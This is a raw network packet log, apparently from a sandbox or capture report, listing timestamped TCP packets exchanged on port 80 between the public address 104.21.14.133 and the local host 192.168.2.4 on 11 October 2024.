Oct 11, 2024 04:10:44.601116896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601149082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601191044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601224899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601243973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601278067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601279974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601308107 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601331949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601382017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601413012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601416111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601449966 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601480961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601484060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601516008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601548910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601552010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601584911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601617098 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601634979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601667881 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601699114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601701021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601736069 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601768970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601769924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601802111 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601805925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601838112 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601840019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601871014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601874113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601905107 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601907015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601941109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601972103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601974964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.602010012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.602040052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.602041960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.602094889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.602128983 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.602128983 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.602195978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668148994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668219090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668253899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668262005 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668288946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668297052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668323040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668354988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668379068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668412924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668431997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668462992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668467999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668517113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668550014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668567896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668601990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668634892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668638945 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668684959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668718100 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668719053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668768883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668803930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668818951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668852091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668865919 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668903112 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.668905973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668961048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.668994904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669025898 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669025898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669063091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669095039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669095039 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669131041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669162035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669163942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669198990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669230938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669231892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669321060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669352055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669353008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669389009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669420958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669420958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669471025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669502020 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669502974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669542074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669573069 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669590950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669625998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669655085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669658899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669692993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669723988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669723988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669759035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669789076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669791937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669826984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669857025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669858932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669893026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669919968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669926882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669954062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.669975042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.669989109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670021057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670022011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670042992 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670056105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670088053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670092106 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670120001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670123100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670157909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670191050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670195103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670222044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670253038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670253992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670314074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670319080 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670370102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670402050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670408010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670458078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670488119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670491934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670525074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670555115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670557022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670589924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670620918 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670622110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670655966 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670686007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670689106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670727015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670753956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670780897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670809031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670839071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670840025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670875072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670906067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670907021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670942068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.670969963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.670974970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.671010971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.671190023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.687927008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.687977076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688011885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688016891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688046932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688083887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688085079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688118935 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688153982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688153982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688193083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688225985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688227892 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688258886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688292027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688293934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688325882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688359976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688359976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688394070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688426971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688430071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688461065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688481092 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688481092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688520908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688554049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688575029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688627005 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688658953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688659906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688689947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688711882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688745022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688775063 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688801050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688829899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688858986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688862085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688898087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688926935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688929081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688962936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.688992023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.688994884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689028978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689059019 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.689059973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689095020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689124107 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.689126968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689162970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689193964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.689196110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689234018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689265013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689265013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.689300060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689330101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.689331055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689364910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689395905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.689398050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689431906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689462900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.689464092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689500093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.689537048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.689690113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.755984068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.756032944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.756068945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.756072998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.756100893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.756104946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.756144047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.756175995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.765142918 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.837760925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.837810040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.837846041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.837877989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.837894917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.837914944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.837920904 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.837949991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.837949991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.837985992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838018894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838020086 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.838053942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838083029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838088989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.838116884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838154078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838155031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.838433027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838464975 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.838485956 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838521957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838553905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838560104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.838588953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838619947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.838639975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838674068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838706017 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.838715076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838768959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838799000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.838804007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838856936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838887930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.838888884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838922977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838954926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.838957071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.838989019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839020967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839040995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839076042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839104891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839126110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839160919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839200974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839211941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839243889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839263916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839298010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839328051 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839332104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839411020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839461088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839473963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839507103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839525938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839560032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839577913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839612007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839643002 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839644909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839675903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839709044 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839725971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839776993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839783907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839783907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839826107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839860916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839862108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839894056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839916945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839922905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.839951992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.839987040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840003014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840038061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840069056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840087891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840126038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840157986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840177059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840209007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840212107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840262890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840292931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840300083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840328932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840358973 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840361118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840396881 CEST	80	49733	104.21.14.133	192.168.2.4
